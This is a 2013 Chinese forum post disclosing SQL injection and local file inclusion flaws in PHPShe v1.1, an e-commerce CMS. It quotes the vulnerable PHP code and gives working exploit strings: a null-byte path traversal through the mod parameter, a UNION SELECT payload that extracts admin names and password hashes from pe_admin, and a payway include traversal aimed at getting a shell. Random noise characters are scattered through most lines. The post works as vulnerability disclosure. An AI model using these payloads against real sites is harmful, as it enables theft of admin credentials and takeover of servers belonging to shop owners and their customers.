找回密码
 立即注册
查看: 3147|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/8 R% B& R8 W$ V& {/ T/ d
/* Phpshe v1.1 Vulnerability
/ `7 R) L$ C) Z+ A3 m, U/* ========================8 A1 d/ P& p/ A6 O
/* By: : Kn1f31 {* z% c# w, Q
/* E-Mail : 681796@qq.com
( \! k' F* I5 B/*******************************************************/  D+ i3 i7 h$ }- a0 X
0×00 整体大概参数传输
' ~  F/ ]# @6 j' R- X  Y5 B. I ) P( Y6 a6 f2 e" B- n

/ k& @4 K$ d9 P& L# Q; R4 P5 a% r

7 m7 x! P3 j1 f' |//common.php! I4 z7 O* ^$ l: l4 z
if (get_magic_quotes_gpc()) {, D8 s+ y! d% u
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
. G4 X4 K+ F( e: ~: \7 w' @!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');, k0 V4 u# R( o! @. D2 G1 S6 S
}* f3 `3 g5 F  f7 D5 B4 J  i9 V4 K
else {" D8 _7 M3 \* A( N0 q! G
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');2 d8 v5 t; I* Q/ z
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');# X! R) ~8 _- H* X; E
}
9 K. Z9 H  ^8 B' r  e9 Vsession_start();# }; L- K5 K* X
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
/ j# F% G! U6 M+ x6 E!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
: B4 q+ [$ k0 u2 V! e4 n$ ^& Q$ w. E; \' A& v9 z
0×01 包含漏洞5 u' }9 U4 Y* d/ C  v
) `  K+ B) A! D6 A
/ K: e  w4 i' H% M
//首页文件
; v$ l3 y+ P) W; {" l" q' T, C<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
0 v" ~: Y. ]) M: h5 s0 f/ x& hinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
% n+ i& @% ^2 e' N0 y6 W! `% j! Rpe_result();; T  _3 @: t( R( T
?>
7 A% s, u; O+ Z//common 文件 第15行开始3 r$ H$ f' e/ P* B: M! S
url路由配置5 I% a$ R, D2 `6 Y. G9 H
$module = $mod = $act = 'index';8 c% }0 v1 ]  k3 A  t/ u
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
1 f) i+ }' ^8 z+ O' O- z$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
" g$ e+ q$ r9 P3 A( `# p2 b4 I$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);* N# D1 h; _4 H$ u2 x
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%000 K3 I6 R$ o& r' N4 y* J

; _7 Q7 B4 ~' s8 I' M

9 A& {9 F# y0 u, s 0×02 搜索注入
8 R2 ]9 z% s- {* }  _. b- w - P" Y  |9 _: G+ g* B- U# e
<code id="code2">

//product.php文件
$ z" x4 o# H: _+ `case 'list':
) d6 L+ @5 }4 ^9 d$ T$category_id = intval($id);
: u3 A; Y0 G1 t9 X8 I- E$info = $db->pe_select('category', array('category_id'=>$category_id));. J' ^) `* I( u8 x0 m. L7 K' n" ?
//搜索
* L: f$ J7 A2 B9 ]9 G+ T  A$sqlwhere = " and `product_state` = 1";" u* m3 ?* d, H* N0 t- U. o
pe_lead('hook/category.hook.php');
, Q0 H" f7 D5 ]. ?if ($category_id) {
- O- o) I$ t- \2 T/ `0 Ewhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
( m8 P* s- p' p& _* I2 K1 j}2 \) k; N% g5 \6 l, z+ f9 n5 T$ }
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤  t0 O5 N' R* S- i0 g
if ($_g_orderby) {
) T- q" q1 q6 L  P$orderby = explode('_', $_g_orderby);
  J3 f9 ]$ F, x7 _% h$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";' S. c' {2 u) y- H4 H
}
# @% i6 i4 N9 s& f/ oelse {  ?& S9 r$ R7 U8 Y% O% G
$sqlwhere .= " order by `product_id` desc";+ B( `' }; _+ m' k/ t) f
}
9 t2 O- A0 J/ E( d# V$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));& `8 _, @9 ^$ G/ \
//热卖排行9 L6 y: {1 `' s6 X  F
$product_hotlist = product_hotlist();
# w9 x8 P' q4 A. N) O//当前路径
1 J1 N$ B- Y) y0 }( g$nowpath = category_path($category_id);
9 z! X& ]! Q5 }7 r% F$ \$seo = pe_seo($info['category_name']);& {0 o* m5 F5 [* H1 B" {
include(pe_tpl('product_list.html'));2 |/ ^# o: _& X. S5 Y7 Q9 z
//跟进selectall函数库
' w+ j$ |1 l" N4 @, ipublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
- S0 U5 V+ ]) g  r{
! F$ S/ a5 ~) P' [1 y4 @//处理条件语句0 a1 s. H: X4 \! {
$sqlwhere = $this->_dowhere($where);$ U# v; G( V4 Y$ ~/ H  L! ]# Y; g
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);- b" K& F: m/ l+ P# j$ l  F# M
}
7 K* Z: l0 L( L% t//exp
" _; R- K0 c; N  d7 ~product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
' u" w- R$ a6 V5 A6 t% k

</code>
/ X; n7 _. t9 Q0 {& I" E4 k% t " S  U& l4 o! P* T$ p: Q2 F3 Z  O
0×03 包含漏洞2
8 c; g; P$ y8 |4 C* K: p
* {0 [0 e. I- D<code id="code3">

//order.php

case 'pay':

2 v! l" }6 b$ o( C& X
$order_id = pe_dbhold($_g_id);

  Q$ P0 a! D' n5 a: P% ^4 V
$cache_payway = cache::get('payway');

7 F- ^% V  M$ q: H( L: l
foreach($cache_payway as $k => $v) {


2 c5 @. U; ?) s- ~9 R  S9 c$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


: O/ b; }8 G' G) A& Y4 oif ($k == 'bank') {

+ Q0 m6 N! p& C$ H
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

$ J% o' ^# x8 n% k
}

, r, F0 Q( m4 J5 u$ Y# z$ v
}


' _) n# |; L% n7 C* c$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


) l' B2 h+ E' x7 o# W!$order['order_id'] && pe_error('订单号错误...');

0 w9 g. }0 U+ ^6 _: r$ e  k
if (isset($_p_pesubmit)) {

/ n. N: T9 p$ B% l  i- m. ^+ X
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


8 C* n4 G# L! f2 D- E5 ?$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

5 Q. m7 T; U4 C4 d, m
foreach ($info_list as $v) {


2 _/ Z1 I/ ~$ D- ^$order['order_name'] .= "{$v['product_name']};";3 v; s" l0 m) l7 U4 P' h& r

2 ^. ]8 P6 B* `# [( n/ ~% [
}


: H' @: V  |- techo '正在为您连接支付网站,请稍后...';


1 f! U# P, |8 |include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

4 v8 f# o! S5 w; U/ l) n: _
}//当一切准备好的时候就可以进行"鸡肋包含了"


- t, u* `  ?2 Y) Gelse {


$ T  M6 H$ ?( E7 l/ P7 [% y$ ~! Ppe_error('支付错误...');


  u1 [7 B5 F( c6 `$ p( t& F}

9 Q% j" H. U0 @) ], Y9 s4 R+ M
}


! t( g- a: f- _' O6 T$seo = pe_seo('选择支付方式');

6 b1 d6 S) ]9 d/ S
include(pe_tpl('order_pay.html'));


3 z9 u: e& ~1 x, C( Gbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>) @: s! \. [; ~3 ~% h

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表